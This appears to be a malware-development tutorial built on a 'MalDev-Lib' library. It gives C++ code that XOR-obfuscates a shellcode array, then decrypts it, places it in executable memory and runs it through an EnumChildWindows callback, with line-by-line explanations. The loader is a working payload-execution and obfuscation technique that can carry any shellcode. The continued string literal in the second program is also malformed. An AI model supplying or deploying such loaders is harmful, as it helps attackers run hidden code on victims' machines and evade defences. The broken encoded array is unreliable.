XOR

Encryption:

Here you have the Github Repository used and included in the code:

https://github.com/S12cybersecurity/MalDev-Lib

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include "MalDev-Lib/lib-Shellcode/Shellcode.h"

int main(){
    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x00";


    unsigned char key = 0x0A;
    int len = sizeof(shellcode);

    Shellcode sc(shellcode,len);

    sc.XOR_encrypt(key);

    return 0;
}
```

This C code appears to be an example of XOR encryption applied to a shellcode. XOR encryption is a simple bitwise operation that can be used to obfuscate data. The code includes a library called `lib-Shellcode/Shellcode.h` (which is not provided in the snippet) that presumably contains the necessary functions for handling the shellcode and encryption. Here's an explanation of the code:

1. **Header Files**: It includes standard Windows and C headers, including `<windows.h>` and `<stdio.h>`, which provide functions for Windows API and standard I/O operations, respectively. Additionally, it appears to rely on a custom library `lib-Shellcode/Shellcode.h` for shellcode-related functionality.
2. **Main Function**:
   - The `main` function is the entry point of the program.
   - It defines an array `shellcode` that contains a sequence of hexadecimal values. This shellcode will be encrypted using XOR encryption.
   - It also defines a single-byte key variable, which is used for the XOR encryption operation. In this case, the key is set to `0x0A` (10 in decimal).
   - The `len` variable stores the length of the `shellcode` array.
3. **Shellcode Initialization**:
   - It creates an instance of a `Shellcode` object, passing the `shellcode` array and its length as parameters. The purpose of this object is not clear from the provided code but appears to be part of the custom library being used.
4. **XOR Encryption**:
   - It calls the `XOR_encrypt` method on the `Shellcode` object, passing the key as an argument. This method is likely responsible for encrypting the shellcode using XOR encryption with the provided key.
5. **Return Value**:
   - The `main` function returns 0, indicating successful execution.

It's important to note that XOR encryption is a relatively weak encryption method and is typically not suitable for securing sensitive data. In this context, it seems the code is demonstrating a simple encryption technique for educational purposes rather than for actual security. The actual functionality and purpose of this code may depend on the implementation of the `Shellcode` class and the `lib-Shellcode` library.

Decryption and Execution:

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include "MalDev-Lib/lib-Shellcode/Shellcode.h"

int main(){
    unsigned char shellcode[] = "\xf6\x42\x89\xee\xfa\xe2\xca\xa\xa\xa\x4b\x5b\x4b\x5a\x58\x5b\x5c\x42\x3b\xd8\x6f\x42\x81\x58\x6a\x42\x81\x58\x12\x42\x81\x58\x2a\x42\x81\x78\x5a\x42\x5\xbd\x40\x40\x47\x3b\xc3\
                                x42\x3b\xca\xa6\x36\x6b\x76\x8\x26\x2a\x4b\xcb\xc3\x7\x4b\xb\xcb\xe8\xe7\x58\x4b\x5b\x42\x81\x58\x2a\x81\x48\x36\x42\xb\xda\x81\x8a\x82\xa\xa\xa\x42\x8f\xca\x7e\x6d\x42\xb\xda\x5a\
                                x81\x42\x12\x4e\x81\x4a\x2a\x43\xb\xda\xe9\x5c\x42\xf5\xc3\x4b\x81\x3e\x82\x42\xb\xdc\x47\x3b\xc3\x42\x3b\xca\xa6\x4b\xcb\xc3\x7\x4b\xb\xcb\x32\xea\x7f\xfb\x46\x9\x46\x2e\x2\x4f\
                                x33\xdb\x7f\xd2\x52\x4e\x81\x4a\x2e\x43\xb\xda\x6c\x4b\x81\x6\x42\x4e\x81\x4a\x16\x43\xb\xda\x4b\x81\xe\x82\x42\xb\xda\x4b\x52\x4b\x52\x54\x53\x50\x4b\x52\x4b\x53\x4b\x50\x42\x89\
                                xe6\x2a\x4b\x58\xf5\xea\x52\x4b\x53\x50\x42\x81\x18\xe3\x5d\xf5\xf5\xf5\x57\x42\xb0\xb\xa\xa\xa\xa\xa\xa\x42\x87\x87\xb\xb\xa\xa\x4b\xb0\x3b\x81\x65\x8d\xf5\xdf\xb1\xfa\xbf\xa8\
                                x5c\x4b\xb0\xac\x9f\xb7\x97\xf5\xdf\x42\x89\xce\x22\x36\xc\x76\x0\x8a\xf1\xea\x7f\xf\xb1\x4d\x19\x78\x65\x60\xa\x53\x4b\x83\xd0\xf5\xdf\x69\x6b\x66\x69\xa\xa";

    unsigned char key = 0x0A;
    int len = sizeof(shellcode);

    Shellcode sc(shellcode,len);

    unsigned char * decrypted = sc.XOR_decrypt(key);

    HANDLE hAlloc = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(hAlloc, decrypted, len);
    EnumChildWindows((HWND) NULL, (WNDENUMPROC) hAlloc, NULL);
    return 0;
}
```

This C code snippet appears to be decrypting and executing shellcode using XOR encryption. Here's an explanation of the code:

1. **Header Files**: It includes standard Windows and C headers, including `<windows.h>` and `<stdio.h>`, for Windows API and standard I/O operations. Additionally, it relies on a custom library `MalDev-Lib/lib-Shellcode/Shellcode.h` for handling shellcode and encryption/decryption functions.
2. **Main Function**:
   - The `main` function is the entry point of the program.
   - It defines an array `shellcode` that contains a sequence of hexadecimal values. This shellcode has been encrypted using XOR encryption.
   - It also defines a single-byte key variable, which is used for the XOR decryption operation. In this case, the key is set to `0x0A` (10 in decimal).
   - The `len` variable stores the length of the `shellcode` array.
3. **Shellcode Initialization**:
   - It creates an instance of a `Shellcode` object, passing the `shellcode` array and its length as parameters. This object is likely responsible for shellcode-related operations.
4. **XOR Decryption**:
   - It calls the `XOR_decrypt` method on the `Shellcode` object, passing the key as an argument. This method is responsible for decrypting the shellcode using XOR decryption with the provided key.
   - The decrypted shellcode is stored in the `decrypted` pointer.
5. **Memory Allocation and Execution**:
   - It allocates executable memory using the `VirtualAlloc` function and stores the pointer to this memory in `hAlloc`.
   - The decrypted shellcode is then copied into this allocated memory using `memcpy`.
   - Finally, it attempts to execute the shellcode by passing the pointer to the allocated memory as a callback function to `EnumChildWindows`. This function is used to enumerate child windows in a Windows application, and in this context, it's used to execute the shellcode.
6. **Return Value**:
   - The `main` function returns 0, indicating successful execution.

This code appears to demonstrate a simple method of shellcode decryption and execution using XOR encryption with a fixed key. The actual functionality and purpose of this code may depend on the implementation of the `Shellcode` class and the `lib-Shellcode` library, which are not provided in the snippet.